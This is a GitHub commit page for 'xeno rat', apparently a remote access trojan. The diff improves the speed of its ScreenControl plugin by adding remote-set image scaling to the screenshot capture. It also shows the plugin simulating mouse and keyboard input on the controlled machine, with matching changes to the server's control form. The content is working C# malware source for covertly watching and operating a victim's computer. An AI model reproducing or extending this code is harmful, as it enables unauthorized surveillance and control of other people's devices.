Skip to content

Commit

Permalink
improved screencontrol speed and fixed a minor bug
Browse files Browse the repository at this point in the history
  • Loading branch information
moom825 committed Nov 22, 2023
1 parent 0bd6e01 commit 40a7fcd
Show file tree
Hide file tree
Showing 4 changed files with 68 additions and 28 deletions.
58 changes: 33 additions & 25 deletions Plugins/ScreenControl/ScreenControl.cs
Original file line number Diff line number Diff line change
Expand Up @@ -20,6 +20,7 @@ public class Main
bool playing = false;
int quality = 100;
int moniter_index = -1;
double scale = 1;
public async Task Run(Node node)
{
await node.SendAsync(new byte[] { 3 });//indicate that it has connected
Expand Down Expand Up @@ -115,7 +116,6 @@ public async Task Run(Node node)
}
else if (data[0] == 11)
{

int x = node.sock.BytesToInt(await node.ReceiveAsync());
int y = node.sock.BytesToInt(await node.ReceiveAsync());
Point coords = new Point(x + Screen.AllScreens[moniter_index].Bounds.X, y + Screen.AllScreens[moniter_index].Bounds.Y);
Expand All @@ -126,6 +126,10 @@ public async Task Run(Node node)
int keyCode = node.sock.BytesToInt(await node.ReceiveAsync());
InputHandler.SimulateKeyPress(keyCode);
}
else if (data[0] == 13)
{
scale=(double)node.sock.BytesToInt(await node.ReceiveAsync())/10000.0;
}
}
catch (Exception ex)
{
Expand Down Expand Up @@ -158,7 +162,7 @@ public async Task ScreenShotThread()

byte[] data = await Task.Run(() =>
{
return ScreenshotTaker.TakeScreenshot(quality, moniter_index, true);
return ScreenshotTaker.TakeScreenshot(quality, moniter_index, true, scale);
});
await ImageNode.SendAsync(data);
}
Expand Down Expand Up @@ -328,7 +332,7 @@ struct POINTAPI

const Int32 CURSOR_SHOWING = 0x00000001;

public static byte[] TakeScreenshot(int quality, int screenIndex, bool captureCursor)
public static byte[] TakeScreenshot(int quality, int screenIndex, bool captureCursor, double scaleImageSize = 1)
{
Screen[] screens = Screen.AllScreens;

Expand All @@ -346,37 +350,41 @@ public static byte[] TakeScreenshot(int quality, int screenIndex, bool captureCu
int screenWidth = (int)(selectedScreen.Bounds.Width * scalingFactor);
int screenHeight = (int)(selectedScreen.Bounds.Height * scalingFactor);

using (Bitmap bitmap = new Bitmap(screenWidth, screenHeight, PixelFormat.Format24bppRgb))
Bitmap bitmap = new Bitmap(screenWidth, screenHeight, PixelFormat.Format24bppRgb);
using (Graphics graphics = Graphics.FromImage(bitmap))
{
using (Graphics graphics = Graphics.FromImage(bitmap))
graphics.CopyFromScreen(screenLeft, screenTop, 0, 0, bitmap.Size, CopyPixelOperation.SourceCopy);

if (captureCursor)
{
graphics.CopyFromScreen(screenLeft, screenTop, 0, 0, bitmap.Size, CopyPixelOperation.SourceCopy);
CURSORINFO pci;
pci.cbSize = Marshal.SizeOf(typeof(CURSORINFO));

if (captureCursor)
if (GetCursorInfo(out pci))
{
CURSORINFO pci;
pci.cbSize = Marshal.SizeOf(typeof(CURSORINFO));

if (GetCursorInfo(out pci))
if (pci.flags == CURSOR_SHOWING)
{
if (pci.flags == CURSOR_SHOWING)
{
DrawIcon(graphics.GetHdc(), pci.ptScreenPos.x - screenLeft, pci.ptScreenPos.y - screenTop, pci.hCursor);
graphics.ReleaseHdc();
}
DrawIcon(graphics.GetHdc(), pci.ptScreenPos.x - screenLeft, pci.ptScreenPos.y - screenTop, pci.hCursor);
graphics.ReleaseHdc();
}
}
}

EncoderParameters encoderParams = new EncoderParameters(1);
encoderParams.Param[0] = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, quality);

ImageCodecInfo codecInfo = GetEncoderInfo(ImageFormat.Jpeg);
EncoderParameters encoderParams = new EncoderParameters(1);
encoderParams.Param[0] = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, quality);

using (MemoryStream stream = new MemoryStream())
{
bitmap.Save(stream, codecInfo, encoderParams);
return stream.ToArray();
}
ImageCodecInfo codecInfo = GetEncoderInfo(ImageFormat.Jpeg);
if (scaleImageSize != 1)
{
Bitmap resized = new Bitmap(bitmap, new Size((int)(bitmap.Width*scaleImageSize), (int)(bitmap.Height * scaleImageSize)));
bitmap.Dispose();
bitmap = resized;
}
using (MemoryStream stream = new MemoryStream())
{
bitmap.Save(stream, codecInfo, encoderParams);
bitmap.Dispose();
return stream.ToArray();
}
}
}
Expand Down
3 changes: 3 additions & 0 deletions xeno rat server/Forms/ScreenControl.Designer.cs

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

31 changes: 29 additions & 2 deletions xeno rat server/Forms/ScreenControl.cs
Original file line number Diff line number Diff line change
Expand Up @@ -2,13 +2,15 @@
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Diagnostics;
using System.Drawing;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using System.Windows.Forms;
using static System.Net.Mime.MediaTypeNames;

namespace xeno_rat_server.Forms
{
Expand Down Expand Up @@ -93,6 +95,7 @@ public async Task SetQuality(int quality)
await client.SendAsync(new byte[] { 3 });
await client.SendAsync(client.sock.IntToBytes(quality));
}

public async Task SetMonitor(int monitorIndex)
{
monitor_index = monitorIndex;
Expand All @@ -101,7 +104,26 @@ public async Task SetMonitor(int monitorIndex)
int Width = client.sock.BytesToInt(await client.ReceiveAsync());
int Height = client.sock.BytesToInt(await client.ReceiveAsync());
current_mon_size = new Size(Width, Height);
UpdateScaleSize();
}

public async Task UpdateScaleSize()
{
if (pictureBox1.Width > ((Size)current_mon_size).Width || pictureBox1.Height > ((Size)current_mon_size).Height)
{
await client.SendAsync(new byte[] { 13 });
await client.SendAsync(client.sock.IntToBytes(100));
}
else
{
double widthRatio = (double)pictureBox1.Width/ (double)((Size)current_mon_size).Width ;
double heightRatio = (double)pictureBox1.Height / (double)((Size)current_mon_size).Height;
int factor = (int)(Math.Max(widthRatio, heightRatio)*10000.0);
await client.SendAsync(new byte[] { 13 });
await client.SendAsync(client.sock.IntToBytes(factor));
}
}

public async Task RecvThread()
{
while (ImageNode.Connected())
Expand All @@ -116,10 +138,10 @@ public async Task RecvThread()
try
{

Image image;
System.Drawing.Image image;
using (MemoryStream ms = new MemoryStream(data))
{
image = Image.FromStream(ms);
image = System.Drawing.Image.FromStream(ms);
}
pictureBox1.BeginInvoke(new Action(() =>
{
Expand Down Expand Up @@ -392,5 +414,10 @@ private void checkBox1_CheckedChanged(object sender, EventArgs e)
checkBox1.Text = "Disabled";
}
}

private void pictureBox1_SizeChanged(object sender, EventArgs e)
{
UpdateScaleSize();
}
}
}
4 changes: 3 additions & 1 deletion xeno rat server/xeno rat server.csproj
Original file line number Diff line number Diff line change
Expand Up @@ -94,7 +94,9 @@
<Reference Include="Newtonsoft.Json, Version=13.0.0.0, Culture=neutral, PublicKeyToken=30ad4fe6b2a6aeed, processorArchitecture=MSIL">
<HintPath>packages\Newtonsoft.Json.13.0.3\lib\net45\Newtonsoft.Json.dll</HintPath>
</Reference>
<Reference Include="System" />
<Reference Include="System">
<HintPath>..\..\..\..\..\Program Files (x86)\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.8\System.dll</HintPath>
</Reference>
<Reference Include="System.AppContext, Version=4.1.1.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a, processorArchitecture=MSIL">
<HintPath>packages\System.AppContext.4.3.0\lib\net463\System.AppContext.dll</HintPath>
<Private>True</Private>
Expand Down

0 comments on commit 40a7fcd

Please sign in to comment.